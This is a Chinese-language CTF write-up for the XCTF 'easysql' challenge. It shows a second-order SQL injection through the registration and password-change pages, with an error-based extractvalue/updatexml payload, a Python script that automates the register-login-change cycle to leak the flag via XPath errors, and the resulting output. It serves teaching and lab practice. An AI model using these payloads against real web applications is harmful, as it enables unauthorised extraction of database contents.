

# xctf攻防世界easysql wp

原创

sash1mi 于 2021-02-20 11:08:01 发布 391 收藏

分类专栏: [CTF writeup](#) 文章标签: [安全 sql python](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_46676743/article/details/113878897](https://blog.csdn.net/weixin_46676743/article/details/113878897)

版权



[CTF](#) 同时被 2 个专栏收录

14 篇文章 1 订阅

订阅专栏



[writeup](#)

12 篇文章 0 订阅

订阅专栏

## xctf攻防世界easysql wp

The screenshot shows a challenge card for 'easysql' with the following details:

- Challenge Name: easysql
- Source: RCTF-2015
- Difficulty: 9.0 (indicated by 9 stars)
- Description: 注册邮箱是不能带@
- Scenario: 点击获取在线场景
- Attachments: 暂无
- Best Writeup provided by: admin

URL: [https://blog.csdn.net/weixin\\_46676743](https://blog.csdn.net/weixin_46676743)

考察知识点:

SQL注入

二次注入

python脚本

访问题目地址

---

Hi,Anonymous  
[LOGIN](#)  
[REGISTER](#)

有注册和登录两个功能

经测试发现该题目存在二次注入

<https://www.jianshu.com/p/3fe7904683ac>

username: 'k3vin'/

password: k3vin

email: k3vin

注册成功后有一个修改密码的页面

修改密码，报如下错误

Submit

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "'1'" and pwd='e10adc3949ba59abbe56e057f20f883e' at line 1

猜测并构造payload:

```
1"||extractvalue(1,concat(0x7e,(select(database()))))%23
```

直接上脚本:

```
import requests

url_reg = 'http://111.200.241.244:47230/register.php'
url_log = 'http://111.200.241.244:47230/login.php'
url_change = 'http://111.200.241.244:47230/changepwd.php'

pre = 'k3vin"'
#逆序闭合
suf = "'))))) ,1))#"

#正序闭合
#suf = "'))))) ,1))#"

s = 'abcdefghijklmnopqrstuvwxyz1234567890'
s = list(s)

r = requests.session()

def register(name):
    data = {
```

```

        'username' : name,
        'password' : '123',
        'email' : '123',
    }
    r.post(url=url_reg, data=data)

def login(name):
    data = {
        'username' : name,
        'password' : '123',
    }
    r.post(url=url_log, data=data)

def changepwd():
    data = {
        'oldpass' : '',
        'newpass' : '',
    }
    kk = r.post(url=url_change, data=data)
    if 'XPath' in kk.text:
        print(kk.text)

for i in s:
    #正序
    #payload = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_f
lag_1s_here)regexp('" + i + suf
    #逆序
    payload = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where
(real_flag_1s_here)regexp('" + i + suf
    register(payload)
    login(payload)
    changepwd()

#正序payload
#payload = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_
1s_here)regexp('" + i + "'))),1))#"
#逆序payload
#payload = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(re
al_flag_1s_here)regexp('" + i + "'))),1))#"

```

结果如下:

```

<form action="" method="post"><p>oldpass: <input type="text" name=
"oldpass" /></p><p>newpass: <input type="text" name="newpass" /></
p><input type="submit" value="Submit" /></form>XPath syntax error:
':}6666_n4f_si_n0itcejn1_lqs{FTCR'
<form action="" method="post"><p>oldpass: <input type="text" name=
"oldpass" /></p><p>newpass: <input type="text" name="newpass" /></
p><input type="submit" value="Submit" /></form>XPath syntax error:
':}6666_n4f_si_n0itcejn1_lqs{FTCR'

```

将此flag顺序逆过来就是最终的flag:

RCTF{sql\_1njecti0n\_is\_f4n\_6666}